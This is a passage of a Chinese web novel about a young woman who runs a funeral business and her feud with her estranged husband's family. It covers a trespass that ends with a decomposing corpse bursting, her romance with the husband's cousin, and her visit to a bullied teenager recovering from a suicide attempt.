黄毛父母原本已经搬离此处,甚至还没有留下新的住址电话,直到警察联系才知道儿子近况。夫妇二人既伤心,却也有解脱的庆幸。
之前夫妻二人差点因为不肯给钱被黄毛打死,进出一遭icu的二人也因此下定决心,悄悄离开了这里,还重新收养了一个孩子,开始新的人生。
只是再如何,也是自己的孩子,二人还是拜托了白绯,希望能给他最后的体面。
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>白绯等人照旧先将尸体搬回了小屋。她掰开尸体的嘴看了眼,叹气道:“啧啧,里头都吃空了,里头全是苍蝇宝宝在搞团建聚餐呢,先冻一冻吧,冻死了好处理。”
这场景,陈安夏受不了,小施也yue得不行。正好时间也晚了,白绯便让他们先下班回去了。反正有祝临川在,可以帮得上忙。
由于尸体需要冷冻一会儿再做处理,白绯便和祝临川先回小楼休息去了,却不成想,楼里又来了个不速之客。
罗峻辉被白绯拉黑,没办法联系她,今天便带着祝金花来了小楼。事实上,她俩今天白天就来过了,只是当时公司里正好大家都没在,大门紧锁。
祝金花因此在门口骂骂咧咧了好一阵,倒是把对面的叙白引了出来。
叙白其人,想要讨人欢心的时候真的很有一套,三言两语就把祝金花哄得心花怒放,几乎要认他做干儿子,也很快就把罗家和白绯的恩怨抖搂了个干净。
“哦?这么说来,可真是委屈了罗先生了。”
“可不是。那个不要脸的贱蹄子,干这种晦气营生,谁看得上她?也就我们峻辉人帅心善,不嫌弃她,结果竟然给我们下这种套,还要离婚!我倒要看看,没了我们峻辉,谁还愿意要她这种破鞋!”
叙白意味深长地看了眼烦躁地站在一边的罗峻辉,只是笑笑不说话。他邀请母子二人进别墅坐了坐,热情地请二人品尝茶点。中途,叙白接了个电话,离开了一会儿。
主人不在,祝金花立刻就暴露了本性,在客厅里东摸西摸,嘴里啧啧称赞:“原来做心理医生这么有钱吗?竟然能买得起这么大的别墅,看起来可比我们的婚房高级多了。”
“哼,要么就是啃老买的,要么就是找富婆包养的,这人一看就油嘴滑舌,獐头鼠目,不是个好东西。”
罗峻辉从一开始就对叙白充满了敌意,他总觉得在对方温和的笑意下藏着对自己的蔑视,更何况对方还轻易地拥有了他梦寐以求的一切。
无论是风度翩翩的贵公子外形,还是优渥的家庭条件,更何况还从事心理医生这么高大上的工作,一听就比码农高级了好多!罗峻辉嫉妒得面容扭曲。此时他脸上的伤还没有大好,坐在叙白家如坐针毡,从心底泛起的自卑让他无法忍耐。
“走吧,再去看看白绯回来了没。”
罗峻辉催促祝金花离开,祝金花正在楼梯口试探着想往二楼去,闻言可惜地回道:“这么快就走了吗?”
她鸡贼的目光来回瞟了瞟,从叙白的客厅顺走了几个漂亮的摆件,放在兜里揣好,正准备出门,叙白却突然慌里慌张地冲了进来。
“不好了,一定是昨天进白家的那小贼的同伙来报复,他把你们停在门口的车给划花了!”
罗峻辉当即面色惨白,如坠冰窟。这可是他才买的新车!当时他满心以为将要从白家手里薅到五百万,为了庆祝,也为了回单位时不被同事询问怎么没开那辆婚车,就又咬牙提了辆奥迪,结果才刚到手没两天,就被划了吗?
等罗峻辉踉跄地赶到门口,就看到四个车轮都被扎破,所有的玻璃也被砸碎,车身上更是被划得没一处好地了!
罗峻辉眼前一黑,差点就晕在地上。更要命的是,他为了贪便宜,还没买车险!这些损失都得他自己担!而叙白说,这边还没有任何监控!
等罗峻辉和祝金花叫拖车把车拉回修理厂,从客服那里知道维修报价后,更是心口抽痛。他连夜又赶回了白家,无论如何,都要让白绯撤回离婚诉讼,把白家的钱都拿回来!
然而,他们不知道的是,更倒霉的事还在后面等着他们。
29. 爆炸的尸体
这是罗家母子两第一次来小楼,祝金花嫌弃这里晦气不愿来,罗峻辉在她的养育下长大,虽然不曾明说,但事实上也是这么想的。
都说龙生龙凤生凤,老鼠的儿子大概率也只会是老鼠。虽然也有出淤泥而不染的清荷,但大多数人都只会和环境同流合污。
当他们再次回来小楼的时候这里依然大门紧锁,且楼里也没有灯光。
罗峻辉拍着大门喊了几声,也没人回应。
“难道还没回来?但是院子里车都在啊。”罗峻辉不解地自言自语道,他看着院子里那辆崭新的婚车,就又想起自己才提的奥迪,顿时心痛不已。
“峻辉,我看后头平屋里亮着灯呢,是不是人都在后头啊?”祝金花拽着罗峻辉的衣袖,脖颈寒毛直竖,轻声问道。
这是她第一次在外面露怯,无他,这里实在是太阴森了。尤其是背后那一大片的墓地,和着虫鸣,吓得祝金花两腿抖如筛糠。
罗峻辉往旁边走了几步,也看到了从后头那排平屋里漏出的昏黄灯光。
“走,去那看看。”其实罗峻辉此刻因破财而激起的勇气已经消失了大半,要不是那点贪欲作祟,都想打退堂鼓了。
母子二人互相依偎着,战战兢兢地向平屋走去。
而此时的白绯,却正被祝临川按在浴室里亲吻。
“别闹了,你不累吗?”她双手推拒着祝临川的肩膀,气喘吁吁地偏头躲避他的亲吻:“一会儿还有得忙呢~”
祝临川却不为所动,仿佛患有皮肤饥渴症一般,热情地啄吻白绯玉白的耳垂和修长的脖颈。
湿热的舔吻一路往下,留下一个个惹人遐想的吻痕。祝临川边亲吻边低声回答:“我伺候你,不会让你累。”
白绯后背靠在湿淋淋的墙壁上,双手十指揉进了祝临川的发间,被快感逼得仰起头,微微阖着眼轻轻喘息。
而她的手机在进浴室前就被随手扔在了床上,凌乱的衣服和浴室的水声遮掩了监控的报警声。
夜风嗖嗖,罗峻辉和祝金花母子俩越往后走越觉得害怕。头几间平屋都没亮灯,月色下,只能看到模糊的轮廓,在想象力的加持下,让人手心都开始冒汗。
“白绯?是你吗?”借着朦胧的月色,罗峻辉看到一个高挑的人形,正站在最后一间亮着灯的平屋门口。他心下大喜,加快了脚步朝前走去,伸出手就去掰那人的肩膀,嘴里抱怨道:“叫你半天了,你为什么不说话?”
然而当他上手摸到那人肩膀的时候,罗峻辉心中已经感觉到不妙了。
那人的肩膀在他的手掌下轻易地被捏碎,折断的秸秆则戳进了他的掌心,引起了细密的疼痛。而在他的身体反应过来前,那人已经被他掰转了身体,彻底面朝向二人。
“啊啊啊啊啊!”祝金花猝不及防与这面色惨白咧着嘴笑的纸人看了个对眼,吓得当场惨叫一声,翻着白眼瘫倒在地。
罗峻辉虽说之前已经意识到不对,却也被吓得够呛,心口抽痛得以为自己要当场嗝屁了。
“妈,别叫了,不过是个纸人。”
祝金花两眼涣散,捂着胸口急促地倒气,反应过来后嘴里爆出一连串的咒骂:“白绯这小婊子是不是故意摆个纸人在这吓人,我就知道白家没一个好东西…”
她将这一切都怪在白绯身上,丝毫不觉得自己擅闯别人家有什么不对。
罗峻辉泄愤般一脚把纸人远远踢开,只觉得最近真是倒霉到家了。他一开始怀疑白绯之前所谓的婚房里的邪祟,是不是只是为了诓骗他离婚才编出来的。可事到如今,他心里却也忍不住打起了嘀咕。
难道真的是招惹上了什么不干净的东西?或者就像祝金花说的那样,白家这生意太晦气,连带着也破坏了自己的气运?如果真是这样,是不是干脆趁此机会离婚也好?
就在他站在屋门口踌躇的当口,祝金花却不干了,撸起袖子就往屋里冲:“小贱人你给我出来!装什么死呢!”
她掀开飘荡的塑料隔断帘,下一秒就被扑面的冷气冻得浑身一个激灵。而屋里的场景更是让她直接卡壳,再也骂不出一个字来,活像只被掐住脖子的老母鸡。
只见面前的屋子里摆满了冰棺,中央则是一张寒光闪闪的金属床,一看就不是给活人睡的。
祝金花当场就怂了,哆嗦着喊门外的罗峻辉:“峻辉,这里头也没人啊。”
说完她就想往外退,余光里却突然出现一抹金光。
祝金花贪财的雷达当场就动了,回头定睛一看。只见墙角的柜子上摆着一溜剪刀针线,混在其中的赫然是一把金光闪闪的黄金大汤勺。
老太婆的眼睛当即就亮了,嘀咕道:“这不会是真金吧?白家这么阔气,连汤勺都用黄金的么?”
这下她腿也不软了,人也不哆嗦了,双眼放光地直奔柜子而去。中途还踢掉了金属床边上的冰棺的电源线,将冰棺的盖子都撞得移了位。
她也没顾上管,拿起大金勺就欣喜地端详起来。然而这光凭肉眼也看不出个所以然,索性就把勺柄直接放进嘴里咬了一口。
勺柄上没有留下牙痕,然而祝金花秉着宁可错过不可放过,有便宜不占是狗的心思,还是决定把这个金勺顺走。只是不知为何,她把勺子凑到鼻尖深深嗅了嗅,确定不是自己的错觉,这勺子闻着有点滂臭。
罗峻辉看她一直不出来,也掀开帘子走了进来,一进来就被这屋子里的棺材吓了一跳。
他觉得晦气得不行,招呼祝金花赶紧走。祝金花却兴奋地冲他招招手,示意他过去:“峻辉,你来看看,这是不是那什么叫做杨树林的大牌化妆品?”
罗峻辉掩着鼻子走了过去,他总觉得屋子里突然有股臭味。
他拧着眉头走到祝金花身边站定,果然见她手里捧着满满一盒化妆品。一眼看过去,全是兰蔻阿玛尼和ysl之类的品牌。
祝金花见他点头,高兴得把盒子一盖,就塞进了罗峻辉怀里,兴高采烈道:“是就行,你拿回去,正好送给顾怜心那小妮子。这小婊子仗着怀了我们罗家的种,眼睛都要长天上去了,天天就知道问你要钱。”
祝金花越说越生气,往地上啐了一口,恶毒地撺掇罗峻辉道:“哼,先让她得意几天,等我罗家长孙生下来了,我要她好看。你把这个拿回去先哄哄她,前几天她又问你要钱了吧?”
确实,自从顾怜心怀孕后,越发恃宠而骄,动不动就问他要钱。从前,罗峻辉从白家拿钱拿得轻易,自然出手大方。现在不仅拿不到钱
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,连自己那点微薄的收入都有可能搭进去,自然要开源节流,能省就省。当即就点了点头,把东西揣进了怀里。
罗峻辉的鼻子动了动,皱眉问祝金花:“妈,你觉不觉得越来越臭了?”
祝金花循着气味转动脑袋,点头道:“娘也觉得,好像是从那个棺材里传出来的,别是有老鼠死在这儿了吧?”
她走到金属床边上的冰棺旁,抬手就准备把那半开的棺盖推开。
罗峻辉视力比祝金花好,已经隔着洞开的缝隙看到了里面躺着的人形物体。他声嘶力竭地开口阻止:“别...”
然而祝金花作为在公交车上抢座位从来没输过的超雄老太,动作何其敏捷,罗峻辉话还没能说完,棺盖已经轰然落地。
随着棺盖被打开,更加浓郁的臭气扑面而来。而比臭气更可怕的是里面躺着的尸体,他面目狰狞,嘴唇外翻,浑身皮肤鼓胀,还汩汩冒着黑红的尸液。
祝金花受惊过度,张着嘴愣在原地,已经失去了所有的反应。而等她反应过来,就发现里面尸体的嘴竟然在动!
罗峻辉被恶心得连连干呕,拉着呆滞的祝金花就要往外走。然而还没能等他们离开,只听砰一声巨响,尸体竟然炸了!
原来是方才祝金花进来时踢断了冰棺的电源线,又推开了棺盖,导致棺材里温度升高,尸体又开始腐烂。他原本已经到达高度巨人观的状态,就差临门一脚,最后终于爆炸了。
尸液混合着尸体内部的蛆虫到处乱蹦,将罗家母子俩撒了满头满身。由于爆炸的冲击,甚至有几只蛆虫混合着尸液直接蹦进了祝金花和罗峻辉大张的嘴里。
“呕...”
“呕...”
二人狼狈逃出了平屋,跪在地上呕得眼泪鼻涕直冒。
而温存完后亲亲热热携手过来检查尸体的白绯与祝临川,正好看到了这一幕。
“怎么会是他们?!”白绯下意识就挡住了祝临川,“你先走。祝金花不知道你在这儿吧?别让她发现,不然到时又来找你麻烦。”
祝临川冷脸看着那边跪地不起的母子二人,却坚定地摇了摇头,道:“我不怕。”
也是时候和他们撕破脸了。
白绯心疼地拍了拍祝临川的手,拿出手机拨通了报警电话:“既然如此,我自然也不会让他们对我的人动手动脚。”
罗峻辉感觉快把自己的内脏都呕出来了,他腿软得跪都跪不住,艰难地挪动着身体,离那个可怕的房间远一点。
他靠在小楼的墙上艰难地喘气,模糊的泪眼看着不远处冷漠看着自己的那对男女,可不正是白绯吗?而白绯身边那个高挑的身形和那张熟悉的脸,竟然是自己那无依无靠的小表弟?
“临川?”罗峻辉虚弱地喘着气,讶异地问道:“你怎么在这里?”
祝临川正准备开口,白绯却伸手拦住了他。只见她勾着唇对狼狈的罗峻辉挑衅一笑,掐着祝临川的下巴踮脚凑上去就吧唧亲了一口。
她在罗峻辉绿光罩顶的脸色中暧昧地笑了笑,慢慢道:“他是我的人,自然该在这儿。倒是你和她…”
白绯指了指抠着喉咙还在呕吐的祝金花,嫌弃地往后退了两步:“私闯民宅,是想吃牢饭了吗?”
30. 男人的眼泪女人的兴奋剂
“私闯民宅?!”罗峻辉没想到白绯不仅当场给他戴绿帽,还给他定了这么大一个罪名,当场脸就绿了。加上前几天未愈的伤,和先前受到的惊吓和呕吐过后的虚脱,整个人都蔫巴了,哪还有白绯初穿来时意气风发的模样。
他不可置信地看着白绯,一副痛心疾首的模样,指责道:“白绯,我是你的丈夫,你怎么能这么对我?”
说完,又谴责地看着祝临川,质问道:“临川,自从你父母去世后,若不是我们收养了你,你又哪来今天的成就?别说考进名牌大学,你连饭都吃不饱!结果你就是这么报答我们的养育之恩的吗?勾搭自己的嫂嫂,你还有没有良心?白绯如今要和我离婚,是不是也是你撺掇的?!”
罗峻辉越说越觉得在理,一定是这样的。自从搭上白家后他们捞到的好处,祝临川都看在眼里。这小子一定是想利用自己更加年轻的□□来诱惑白绯,妄图取而代之,少奋斗三十年!
真是想不到啊,罗峻辉咬着牙恶狠狠地盯着祝临川,这孤儿平时看起来一副老实好欺负的样子,八竿子打不出一个屁,原来竟是个心机绿茶屌!他们全都被他这副样子给欺骗了!
祝临川垂在身侧的双手猛地攥紧,手背上青筋鼓起,后槽牙咬得发酸。
罗峻辉竟然还有脸提!当年他们趁稚儿年幼,霸占了父母的财产和赔偿金,没有一分用在他身上!若不是为了堵村民的悠悠众口,甚至想直接将他赶出去自生自灭!
幼时的他总是最后一个吃饭,活像一个厨余垃圾处理器。这么多年,他靠自己勤工俭学才终于苦尽甘来,如今倒都成了他们的功劳!
“少来碰瓷我们临川,哪来这么大的脸。”白绯却比祝临川先开口了。“你们娘俩一丘之貉,干的丧良心的事自己有数。”
她翻着白眼打断了罗峻辉的辩白,道:“别和我说话,看见你我就想吐。有什么话去警察局说吧。”
话音刚落,警察就来了,还是昨天来抓盗墓贼的那几个小哥。
“哎哟,警察同志,咱们真是有缘。”
警察来了后看到母子俩满头满身的血迹吓了一跳,还以为是发生了重大命案。
直到白绯把事情原委告知他们后,警察才松了口气。
了解了详情后,他们就架着还瘫软在地的母子二人往警车走,罗峻辉还在辩白:“警察同志,我冤枉啊!我只是来我老婆家看看她,这是家务事,怎么能说是非法入室啊?”
一个女警毫不客气地反驳他道:“人家都和你离婚了,也不欢迎你来,怎么不算非法入侵?别以为结婚了,她就是你的所有物了,什么都可以用一句家务事来掩盖。”
有个年纪轻的小片警好奇心重,问道:“他们这是看到什么了才吐成这样啊…”
在白绯阻止之前,他已经掀开了隔断帘,于是和满屋子的血肉和乱爬的蛆虫来了个眼对眼。
“呕…”
这下呕吐的人又多了一个。
白绯也往里看了一眼,咬牙切齿道:“这下子通宵都干不完了…这母子俩真是专门来克我的。”
女警聪明地没有进屋,只是询问白绯有没有丢东西。
白绯哭笑不得地回道:“现在乱成这样,也看不出来。不过屋里都是些给死人用的东西,想来他们总没那么傻吧。”
女警也笑着点点头,道:“好,如果后续发现有什么问题,再联系我们。”
警察押着蔫巴的罗家母子俩走了,夜色中还不断传来罗峻辉的辩解声。他如今是真的慌了神,万一真的被拘留了,他该如何和单位交代这几天的缺席?没准甚至还会因为这个丢了工作也说不定!
祝金花还在干呕,她当时就站在尸体边,整个人直面了爆炸,受到的冲击过大,至今都还没缓过神。
白绯看着警车消失不见,回过头来却发现祝临川一副破碎的模样。
“怎么了这是?”她惊了一跳,捧着临川的脸细细打量,正撞见一滴泪从他眼角坠落,在月光下犹如一粒璀璨的珍珠。
祝临川别过脸去不想她看,声音中带着强忍的哽咽:“没事,我只是有点想他们了。”
白绯看着他清冷倔强的脸,反应过来祝临川说的是他的父母,眼神瞬间更加怜爱了。
她自己也是孤儿出生,明白失去双亲庇佑的孩子在这个社会上生存有多么不容易。她从出生起就被抛弃在福利院,从来没有体会过父母的温暖,祝临川却是在体会过后又被剥夺,这是一件更加残忍的事。
以前来福利院的志愿者都会被提前叮嘱,无论里面的孩子怎么哭怎么闹,都不能去抱她们,哄他们。因为一旦体验过这样的温暖,他们又该如何面对接下来孤苦的生活?倒不如一开始就不要给他们这样的期待,也省的后面因为失望更加地伤心。
“可我甚至不知道他们长什么样,是什么样的人。”祝临川偏着头,下颌线绷得很紧,“祝金花没有给我留下他们的任何一样遗物,甚至连一张照片都没有...”
他的声音随着夜色飘散在风中,这么多年,这深刻的遗憾一直盘踞在心头,如今借着这机会终于说出口。一直以来,他都逃避般地不去想这些事,也没有人可以做他的倾诉对象。但是白绯总是不一样的。
白绯一把抱住了祝临川,将他的脑袋按在了自己肩上,伸手揉了揉他的后脑勺,安慰道:“那我们就去找。”
祝临川瞳孔紧缩,听着白绯在耳边继续说道:“既然思念他们,那我们就去找他们曾经存在的痕迹。只要还有人记得,死亡就没有真的到来。”
白绯捧着祝临川的脸,看到更多的泪顺着脸颊落下,哭笑不得道:“别哭了,你不知道,男人的眼泪是女人的兴奋剂吗?再哭下去,我可要欺负你了哦~”
祝临川的回答是将她紧紧搂在了怀里。
如果不是还有罗峻辉他们留下的烂摊子要处理,白绯是真的很想拉着他去做点羞羞的事,毕竟临川实在是哭得太好看了,让人忍不住想让他哭得更厉害些。然而这随风飘散的腐臭与血腥味,一直在提醒她现在不是沉迷男色的时候。
“走吧,我们先去处理黄毛的尸体。”等祝临川情绪稳定下来后,白绯拍拍他的后背,示意他看一片狼藉的平屋。
地上,柜子上,棺材上,甚至天花板上,到处都是迸射的蛆虫与内脏血肉碎片。白绯叹了口气,和祝临川二人穿上了收尸时的全套装备。
他们要把这些散碎的东西都捡回来,内脏塞回去,血肉和碎骨再拼接缝合起来。实在少了的部位则只能用3D打印机打印出来替代了。
祝临川打扫房间,白绯则埋头处理尸体,期间还发生了一个小插曲。
“我用来舀腹腔积液的大金勺不见了。”白绯茫然地看着正在用消毒水拖地的祝临川,道:“还有我给尸体化妆用的化妆品也没了。”
祝
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临川握着拖把和她对视一眼,心里都浮现了一个猜测。
“不会吧?”白绯简直要气笑了。还真被顺走了?
祝临川以自己多年来对罗家母子的了解,肯定了白绯的猜测。
“算了算了。”白绯摆摆手,活动了下筋骨,“爱拿就拿吧。”说完就继续低头开始修补起尸体。
二人一直忙活到了第二天中午,才堪堪把一切恢复原样。
白绯把后续都交给了陈安夏和小施处理,自己则和祝临川简单吃了点东西后回房间补觉去了。也亏得她俩心理素质好,不然经历这一晚的遭遇,只怕什么胃口都没有了。
正在看守所的罗家母子正是如此。他们喜提拘留所七日游,本来那里伙食就不好,二人回想起之前的遭遇,更是什么都吃不下,出来后活生生瘦了一大圈。
而更糟糕的是,当罗峻辉终于拿到手机的时候,他的手机信箱都快爆了。最新的一条微信就是上司发来的。上司在连打三天电话都没人接通后,终于暴怒地将他开除了。
罗峻辉抖着手回拨,却发现上司早已将他的联系方式拉黑。
祝金花毕竟年纪已经不轻了,经受这接连的遭遇后,整个人都萎靡了很多。母子二人灰溜溜地回到了顾怜心的房子,才刚进门,顾怜心就捂着鼻子干呕起来。
“呕,你们这是干什么去了,呕,好臭。”顾怜心作为孕妇,本来就对气味敏感。罗峻辉和祝金花在被拘留后虽然在那里简单冲洗了下,但身上却总有股挥之不去的腐臭和血腥味,又经历了整整七天的拘留,身上的味道确实很臭。二人打车回来时,好几个司机甚至因此直接拒载,直到罗峻辉额外出了三百块汽车清洗费,才终于找到一个司机愿意送他们回来。
罗峻辉自从考上大学后,已经多年不曾这么狼狈。他一直自诩青年才俊,在顾怜心面前,更是向来端着。如今竟然被一向温柔解意的小情人这么嫌弃,一张脸当即青青白白,煞是好看。
然而如今顾怜心怀着他的孩子,而他又已经不举...罗峻辉沉着脸进了浴室,活生生快把自己洗脱皮,却仍然觉得自己身上还有臭味。
等他走回卧室的时候,果然见顾怜心捂着鼻子下了床,往远处退了退。
她看着罗峻辉的臭脸,有些讪讪地笑了笑,冲他解释:“峻辉,你别误会,我不是嫌弃你。”
当然是嫌弃的,天知道最近他们娘三没有在这里,她一个人住得有多舒坦。因此,她在给罗峻辉打了几个电话后发现没人接,就果断地放弃再寻找他,心里巴不得他们一家子死在哪里才好。
顾怜心又往阳台处退了退,偏着脸深呼吸了几口窗外的新鲜空气,假惺惺地关怀道:“你这几天去哪儿了,我都联系不上你。妈和姐姐也不见人影,我担心得饭都吃不下。”
罗峻辉看着她明显圆润了两圈的脸和身体,没有拆穿她,而是阴沉着脸在床上躺下,用被子盖住了头:“我睡会。”
“好,你睡吧,我不打扰你。”顾怜心心里直翻白眼,捂着鼻子悄悄走出了卧室。客厅里,祝金花早已经瘫在沙发上打起了呼噜。这几天,母子二人都没能休息好。
顾怜心低低咒骂了几句,就悄无声息地出了门,去找陈昊汇合了。她实在受不了这些人待在自己的家里,迫不及待地想要和陈昊生活在一起,包括他们即将出生的孩子。
也许,是时候想个办法让这一家子早点消失了。
31. 略通拳脚
离婚诉讼的关键证据已经得到,白绯便也不再关心罗家和顾怜心之间的真假太子官司,和陆寻结了账,结束了这单交易。
陆寻却还有些意犹未尽,并没有收回手下的人手,而是选择继续打探,誓要将这瓜吃到底,并表示,到时愿意无偿和白绯分享罗家的绿帽后续。
白绯:...
她现在是真的相信陆寻之前所说的,他根本不在乎钱,只是单纯地在享受八卦的快乐。
“对了,我还有另外的生意想和你谈。”白绯站在卧室窗边,边打电话边注视着叙白别墅的方向。
别墅门口,叙白正将一名蔫头耷脸的中年男人迎进屋。似乎是察觉到了落在他身上的视线,他抬头朝白绯的方向看来。
白绯下意识就拉起了窗帘遮住了自己的身形,等反应过来后心中却又不爽极了。
靠,我怕他做什么?又不是我做亏心事,再说了,叙白这个暴露狂,被看估计还能爽到他呢。
想到这,白绯又咬牙切齿地一把拉开窗帘,准备和叙白来个光明正大的对视。
然而别墅的大门早已合上,人家早就进去了。
白绯有种拔剑四顾心茫然的无力,垂头丧气地一屁股躺在了懒人沙发上。
“哦?是什么生意,白小姐你别卖关子了。”那头的陆寻对白绯说的新单子很感兴趣,连声追问道。
“我想拜托你调查一个人,他叫叙白,是名心理医生。但是我怀疑他有教唆病人自杀的嫌疑,一会儿我把他的信息发给你。”白绯回过神,和陆寻解释道。
没错,她准备直接让陆寻去调查。开玩笑,钱能解决的事,何必自己费时费力去吃这个苦?
电话那头的陆寻闻言却突然激动得鸡叫起来,把白绯吓了一跳:“哇哇哇哇,这么邪恶吗?!我超爱看汉尼拔,没想到在现实生活中也能碰到这样的法制咖医生?!”
白绯躺在沙发上,眯着眼睛看着对面二楼的窗户,想起自己看到的那一屋子情趣用品,跟着感叹道:“何止啊,这人应该还是个性变态,热衷血腥暴力。”
那头的陆寻更激动了。他不迭声地催促道:“这单子我接了!只要这人真有什么违法乱纪的地方,我敢保证,绝不让他逍遥法外!”
他说着说着竟然还哽咽起来,“俺娘总说我没出息,天天调查些家长里短的东西,如今我也是出息了,竟然也有了行侠仗义的机会。呜呜呜,我要打电话告诉俺娘俺不是孬种。”
白绯:“…加油,一定注意安全。”
她不放心,又格外郑重叮嘱了几句:“这种人保不齐就是个反社会人格,你们可千万别受伤了。”
“放心吧。”陆寻却很有信心,“这么多年私家侦探干下来,我的技能都点在逃跑上了,每年市里举办的全民马拉松,我可是都能跑进前十呢!”
白绯听得心生感叹。看来现在各行各业都很高危啊!瞧瞧,能跑马拉松的私家侦探,把危险家具全粘在桌上,自己比病人更变态的心理医生。
还是自家的殡葬行业好,客户能囫囵个过来都算不错了。
解决完这件事,白绯就收拾收拾准备去医院看望程莉莎。彼此之间也算有缘,能拉一把是一把。
她驱车来到医院停好车,正在住院部大楼门口看楼层导航,结果却赶巧遇到了程莉莎的母亲。
她是一个面容慈祥的中年妇女,烫着壮壮妈专属卷发,身材微胖,此刻眉头紧皱,满面愁容,手里提着两个饭盒,正站在人群中等电梯。
白绯当机立断地跟了进去,和她一起在十二层出了电梯。
“阿姨,你好。”她提着一个果篮三两步赶上了程母。
程母一脸茫然地停下脚步,疑惑地看着她:“你是?”
显然并没有认出她。
白绯松了口气。也许上次程母正心神不定,没有注意莫名其妙冲过去劝她们换医生的人的长相,也可能是上次自己浑身糊着血,人家没看清她的脸。
于是,白绯开始面不改色地信口开河,“我是叙白医生的朋友,他担心丽莎的病情,托我来看看。”
程母一听是叙医生的朋友,当即就放下了警惕,感激地握着她的手:“原来是叙医生的朋友,昨天才来看过我们丽莎,今天就又过来了,真是太有心了。”
白绯跟着程母一起往病房走:“丽莎今天状态怎么样,还好吗?”
程母闻言,神情又低落起来,她深深地叹了一口气,回道:“前天刚从ICU出来,医生说接下来没什么危险了,静心修养就行。只是,身上的病好治,心里的病难治啊!”
她偏过脸抹掉眼里的泪花,絮絮叨叨地抱怨起来:“唉,怎么偏偏就让我们摊上这么个事呢!自从闺女生病后,孩子他爸没日没夜地打工,钱在手里都还没捂热呢,就又如流水般地花了出去。我说我也出去找份工作,孩子他爸却担心没人陪孩子,宁可自己累点,也要叫我24小时守在闺女身边。我们就这么咬着牙一天天地忍啊忍,盼着哪一天她病好了,能再回去学校好好上学,将来出人头地,别再过我们两个老的这样的苦日子,这样我们到地下,也能瞑目了...”
程母说完又重重叹了口气,继续道:“可结果呢,还是没守住她。我不过是上个厕所的功夫,她就拿刀砍了上去。她怎么能狠的心啊!要不是叙医生拦着,只怕...”
白绯试探地问:“那天叙医生也在?”
“是啊。”程母抚着胸口,一副后怕的模样,“那天我们本该去叙医生那复诊,结果丽莎怎么都不愿意去。叙医生知道后不放心,就上我们家来了。结果两人在书房还没聊几分钟,我闺女就跑到厨房拿了把刀...”
回忆起那天的场景,程母忍不住啜泣起来。她歉意地冲白绯道:“对不起啊,你别嫌阿姨烦,实在是我没处可说,无人可说啊。”
白绯拍了拍她的后背,柔声宽慰道:“没事的阿姨,你说多久我都愿意听。”
看得出来,亲眼目睹女儿自杀也给这位疲惫的母亲带来了巨大的创伤,她的心里应当也承受了巨大的压力。
“我就是想不明白,别人家的孩子都好好上着学,怎么偏偏就是我们丽莎生了病呢?”
“我听叙医生说,似乎是学校里有人欺负她。”白绯回忆着那天看到的就诊记录问道。
程母点点头,显然是知道这件事的。然而她的回答却让白绯很震惊。
“我知道是有几个孩子老爱欺负她。可是这不都是大家闹着玩的吗?谁小时候没被调皮孩子欺负过,这有什么大不了的,怎么就闹到要死要活的地步了?再说了,归根结底也还是怪这孩子太内向,不会和人相处,融入不了集体,才会被当做异类欺负,我让她多找找自己的问题,难道不对吗?”
程母的疑惑货真价实,她看着白绯,向她寻求答案。
白绯只觉得后背发凉。她明白程莉莎的痛苦了。
她穿进这本书后,白父白母对她一直疼爱有加,平时处
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事也颇通情达理。她以为这就是千千万万父母的模样。然而如今的程母,却让她突然之间明白了,什么叫最亲近的人伤你最深。
程家父母无疑是疼爱程莉莎的,他们愿意为了她付出自己的时间精力和金钱,在孩子生病后即使要承担高额的医疗费,也不曾想过放弃。然而,他们却又轻易地对身为受害者的女儿定下了罪名。
他们既爱她,又因为自己的无知一次次伤害她。还不如干脆坏到底,让人彻底死心。这种夹杂着玻璃渣的糖,实在是让人防不胜防啊。
“阿姨,这不是丽莎的错。”白绯正色和她解释,“丽莎是遭遇了校园霸凌,这不是简单的欺负而已。都说治标不治本,如果不把这件事解决,丽莎的病永远好不了。我觉得你和叔叔应该去学校找老师好好谈谈,必要的时候可以找教育局和媒体介入。”
“啊?就这么屁大点事,需要这么大的阵仗?”程母却有些不相信。
“当然。”白绯再次搬出叙白的招牌,“叙医生年轻的时候也遭遇过这样的霸凌,差点闹到自杀,幸好后来父母去震慑警告了霸凌者,不然哪有今天的他?丽莎也有光明的未来,她只是还太小,自己迈不过这关,需要你们的帮助。”
有活生生的例子摆在面前,程母终于相信了。白绯又趁机给她添了把火。
“如果你和叔叔有什么不懂的,可以随时打电话给我。这是我的手机号,我对处理这样的事很有经验。”
等我知道是哪几个□□崽子不学好,霸凌小姑娘,老娘非给他们套上麻袋打到怀疑人生不可。有句话说得好,如果道理讲不通,在下也略通拳脚。
程母很感激,握着白绯的手连声道谢。
白绯把写着自己电话的纸条交给她,没敢给名片,毕竟自己这行实在不招人待见。
“不过阿姨,后续心理治疗还是要跟上。叙医生能力有限,他也建议你们去找更权威的医生。丽莎现在的问题,找他这样的普通医生不行,你们得去挂专家号。”
她又劝慰了愁眉苦脸的程母几句:“人吃五谷杂粮,生病是再正常不过的事。心理和我们的身体也一样,不可能一直健康,难免会有出故障的时候。病了就看医生,总会好起来的。你和叔叔要是有空,也可以找心理医生谈谈。”
程母对她毫不设防,连声应下。二人说话间已经来到了程莉莎的病房。
病房里,程莉莎正睡着。她的脖颈缠着渗血的绷带,蜷缩在被褥里的身体上缠着各种管线,床头的心电监护仪发出尖锐的滴答声。
“既然丽莎睡着,我就不进去了。”白绯把果篮轻轻放在床边,怜爱地看了眼她露在被子外的小脸,对程母道:“阿姨,人生不过短短百年,什么都没有好好活着重要。也许丽莎并不希望出人头地,只想和你们平平淡淡地过日子而已。不想卷的时候,躺平也是不错的选择。”
程母显然没想到眼前的年轻人会发表这么咸鱼的论调,愣了半晌才应了一声。
白绯告别程母,再次叮嘱她有事随时联系,就开车离开了医院。
此时正值午后,她原本想回公司,车开到半路却拐了个弯。这里离临博大学不远,而今天祝临川就在学校。
不如去找祝临川玩玩?白绯自己以前只念到高中,就早早开始打工。也许是命中注定,一踏入社会就直接进了殡葬行业,一直干到现在。她对大学生活可以说是充满了好奇与憧憬。
想到这,她便直接给祝临川打了个电话。
32. 流浪狗的花语是
等白绯到的时候,祝临川已经在校门口等了。
年轻男人身形挺拔,穿着简单的白衬衫和休闲裤,袖口整齐地挽到手肘,露出劲瘦的小臂。明媚的阳光给他轮廓分明的脸镀上一层金边,那双异乎常人的灰色双眸定定地看着门口的方向。
白绯把车停好,打开车门后倚在车边满意地看着他。不愧是姐看上的男人,真是养眼,上得厅堂下得厨房,床上浪床下禁欲,完美。
祝临川眉眼间也都是笑意,近乎惊喜地迎了上来。
